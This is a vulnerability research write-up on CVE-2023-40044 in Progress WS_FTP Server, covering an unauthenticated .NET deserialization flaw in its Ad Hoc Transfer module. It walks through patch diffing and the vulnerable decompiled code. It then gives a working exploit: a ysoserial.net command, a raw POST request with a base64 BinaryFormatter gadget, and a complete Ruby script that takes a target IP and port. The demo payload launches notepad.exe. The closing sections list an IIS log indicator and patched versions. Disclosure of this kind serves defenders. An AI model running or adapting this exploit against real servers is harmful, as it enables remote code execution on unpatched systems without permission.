Overview
On September 27, 2023, Progress Software disclosed CVE-2023-40044, a .NET deserialization vulnerability affecting the Ad Hoc Transfer module of WS_FTP Server, a secure file transfer product. The vulnerability, which was originally discovered by Assetnote, is trivially exploitable and allows an unauthenticated attacker to achieve RCE on the target system.
NIST have assigned a CVSS base score of 8.8, whilst Progress Software have assigned a CVSS base score of 10. The difference in these two scores arises from NIST’s determination that the privileges required (PR) for exploitation are low instead of non-existent (i.e., that an attacker must already possess some level of existing privilege in order to carry out an attack). We did not observe this requirement during our analysis of the vulnerability — we verified that an attacker can exploit CVE-2023-40044 fully unauthenticated. We believe the correct scoring for this vulnerability would be 9.8.
The following versions of the software are affected if the Ad Hoc Transfer module is enabled:
- 2022.0.1 (8.8.1)
- 2022.0 (8.8.0)
- 2020.0.0 (8.7.0)
- 2020.0.1 (8.7.1)
- 2020.0.2 (8.7.2)
- 2020.0.3 (8.7.3)
Diffing
We installed an older version of WS_FTP Server (2020.0.1) and the patched version of the software (2022.0.2). As the advisory notes, the vulnerable component is in the Ad Hoc Transfer (AHT) module, which is installed by default. This is a .NET module that runs in a Microsoft Internet Information Server (IIS) instance, and is accessible by default over HTTPS on port 443. The binaries are located in the C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\Bin folder. Decompiling all the binaries to .NET source code via the dotPeek tool, we can begin to inspect them using a diffing tool BeyondCompare. We identified a suspicious change in the class FileUploadLibrary.dll!MyFileUpload.FormStream, as shown below.

We can see the CheckForActionFields method has been changed to remove a suspicious call to UploadManager.Instance.DeserializeProcessor. Inspecting MyFileUpload.UploadManager.DeserializeProcessor, we can see the entire functionality has been removed in the latest version of the software.

Of note is the use of the unsafe deserialization method BinaryFormatter.Deserialize, which is known to be exploitable if an attacker can provide arbitrary attacker-controlled data.
The Vulnerability
The CheckForActionFields method tries to extract an HTTP multipart form field that begins with a tag value ::AHT_DEFAULT_UPLOAD_PARAMETER::. The data after this tag value is then deserialized via UploadManager.DeserializeProcessor. We can also note that using a tag value of ::AHT_UPLOAD_PARAMETER:: will also reach the same unsafe deserialization code path.
namespace MyFileUpload
{
internal class FormStream : Stream, IDisposable
{
private void CheckForActionFields() // <---
{
byte[] array = this._currentField.ToArray();
string result1 = string.Empty;
int boundaryPos = this.IndexOf(array, this.BOUNDARY);
if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos))
{
string result2 = string.Empty;
if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos)) // <--- ::AHT_DEFAULT_UPLOAD_PARAMETER::
{
this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length)); // <--- unsafe deserialization
this._processor = this._defaultProcessor;
this._currentField = new MemoryStream();
}
else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos)) // <--- ::AHT_UPLOAD_PARAMETER::
{
this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <--- unsafe deserialization
this._currentField = new MemoryStream();
}
// ...snip...
}
}
internal IFileProcessor DeserializeProcessor(string input)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input));
SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <--- unsafe deserialization
// ...snip...
}
private FormStream.SectionResult ProcessField(byte[] bytes, int pos)
{
int nextOffset1 = -1;
if (pos < bytes.Length - 1)
{
nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1);
if (nextOffset1 != -1 && this._inFile)
nextOffset1 -= 2;
}
if (nextOffset1 >= 0)
{
this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos);
if (!this._inFile) // <--- must be false
this.CheckForActionFields(); // <--- reach the vulnerable codeTo reach the CheckForActionFields method, we must be able to call the method MyFileUpload.FormStream.ProcessField, which is called by FormStream.Write. The Write method will iterate over the HTTP form data, by first searching for the form data’s boundary string, then the headers for that field are parsed via ParseHeader. Notably the member variable this._inField will be set to true. This will later allow us to call ProcessField. After the headers are parsed, if they do not contain the header values filename and Content-Disposition, then the member variable this._inFile will be set to false. This is important — as we can note from the ProcessField source code above, we can only call CheckForActionFields if _inFile is false.
namespace MyFileUpload
{
internal class FormStream : Stream, IDisposable
{
public override void Write(byte[] bytes, int offset, int count)
{
int num1 = 0;
byte[] numArray;
if (this._buffer != null)
{
numArray = new byte[this._buffer.Length + count];
Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length);
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count);
}
else
{
numArray = new byte[count];
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count);
}
this._position += (long) count;
int srcOffset;
int num2;
FormStream.SectionResult sectionResult;
do
{
if (this._headerNeeded)
{
srcOffset = num1;
num2 = this.IndexOf(numArray, this.BOUNDARY, num1);
if (num2 >= 0)
{
if (this.IndexOf(numArray, this.EOF, num2) != num2)
{
int num3 = this.IndexOf(numArray, this.EOH, num2);
if (num3 >= 0)
{
this._inField = true; // <---
this._headerNeeded = false;
Dictionary<string, string> header = this.ParseHeader(numArray, num2);
if (header != null)
{
if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <--- must not be set
{
string fileName = header["filename"].Trim('"').Trim();
if (!string.IsNullOrEmpty(fileName))
{
try
{
this._fileName = header["filename"].Trim('"');
this._inFile = true;
string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"];
this.fileProccessingEnded = false;
object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields);
this.OnFileStarted(fileName, identifier);
}
catch (Exception ex)
{
this._fileError = true;
this.OnError(ex);
}
}
}
else
{
this._inFile = false; // <--- we need _inFile = false
this._currentField = new MemoryStream();
this._currentFieldName = header["name"];
}
num1 = num3 + 4;
}
else
goto label_9;
}
else
goto label_17;
}
else
goto label_6;
}
else
goto label_18;
}
if (this._inField) // <---
{
this._buffer = (byte[]) null;
sectionResult = this.ProcessField(numArray, num1); // <---The Write method will be called by UploadModule.Context_AcquireRequestState. The module MyFileUpload.UploadModule contains an IIS event handler which will call Context_AcquireRequestState when a new HTTPS request is processed.
namespace MyFileUpload
{
public class UploadModule : IHttpModule
{
public void Init(HttpApplication context)
{
context.AcquireRequestState += new EventHandler(this.Context_AcquireRequestState); // <---
context.BeginRequest += new EventHandler(this.Context_BeginRequest);
}
private void Context_AcquireRequestState(object sender, EventArgs e)
{
// ...snip...
string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length);
using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding))
{
formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted);
formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError);
formStream.FileStarted += new FileEventHandler(this.fs_FileStarted);
formStream.Error += new ErrorEventHandler(this.OnTransactionAborted);
this._context = app.Context;
long bytes = 0;
if (workerRequest.GetPreloadedEntityBodyLength() > 0)
{
byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody();
formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <---Examining the file C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\web.config, which is responsible for configuring the WS_FTP Ad-Hoc Transfer application in IIS, we can see the module MyFileUpload.UploadModule is loaded into IIS.
<httpModules>
<add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
<add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
</httpModules>We can now speculate that the module UploadModule will pre-process all incoming HTTP(S) requests that are trying to upload a file. If we can specify a malicious HTTP form field with an expected tag string of either ::AHT_DEFAULT_UPLOAD_PARAMETER:: or ::AHT_UPLOAD_PARAMETER::, we will be able to deserialize an arbitrary .NET object and achieve unauthenticated RCE.
Exploitation
We can exploit this vulnerability with a single HTTPS POST request to any URI in the Ad Hoc Transfer module. These URI’s begin with the path /AHT/. We generate a suitable .NET deserialization gadget with the tool ysoserial.net as follows. Note, we choose notepad.exe as the gadget’s command to execute during deserialization.
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exeThe POST request we want to send will look as follows:
POST /AHT/ HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: foo
Accept: */*
Content-Length: 1303
Content-Type: multipart/form-data; boundary=aeeydaqs
--aeeydaqs
name: hax
::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
--aeeydaqs–
We can easily script this with some Ruby.
require 'optparse'
require 'socket'
require 'openssl'
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(ip, port, data)
socket = TCPSocket.open(ip, port)
ctx = OpenSSL::SSL::SSLContext.new
ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx).tap do |s|
s.sync_close = true
s.connect
end
ssl_socket.write(data)
result = ''
while line = ssl_socket.gets
result << line
break if line == "\r\n"
end
ssl_socket.close
return result
end
def hax(ip, port)
# ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exe
gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs="
boundary = rand_string(8)
txt = "--#{boundary}\r\n"
txt << "name: hax\r\n"
txt << "\r\n"
txt << "::AHT_DEFAULT_UPLOAD_PARAMETER::#{gadget}\r\n"
txt << "--#{boundary}--\r\n\r\n"
body = "POST /AHT/ HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: foo\r\n"
body << "Accept: */*\r\n"
body << "Content-Length: #{txt.bytesize}\r\n"
body << "Content-Type: multipart/form-data; boundary=#{boundary}\r\n"
body << "\r\n"
body << txt
result = send_http_data(ip, port, body)
p result
return true
end
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: ws_ftp_hax.rb [options]"
opts.on("-t", "--target TARGET", "Target IP") do |v|
options[:ip] = v
end
opts.on("-p", "--port PORT", "Target Port") do |v|
options[:port] = v.to_i
end
end.parse!
unless options.key? :ip
log '[-] Error, you must pass a target IP: -t TARGET'
return
end
unless options.key? :port
log '[-] Error, you must pass a target port: -p PORT'
return
end
log "[+] Starting..."
log "[+] Targeting: #{options[:ip]}:#{options[:port]}"
hax(options[:ip], options[:port])
log "[+] Finished."And run it against our target system.
>ruby ws_ftp_hax.rb -t 192.168.86.47 -p 443Finally, we can observe that we have spawned the notepad.exe application as a child of the IIS worker process w3wp.exe, and with the user account NT AUTHORITY\NETWORK SERVICE.

Indicators of Compromise
As the vulnerable application runs as an IIS module, we can inspect the IIS logs. An example of a successful exploitation attempt is shown below.
2023-09-29 15:17:53 192.168.86.47 POST /AHT/ - 443 - 192.168.86.50 foo - 302 0 0 30We can note the presence of a POST request to a path that begins with /AHT/.
Remediation
To remediate this issue, you should update to a fixed version via a vendor-supplied patch as soon as possible:
- 2022.0.2 (8.8.2)
- 2020.0.4 (8.7.4)



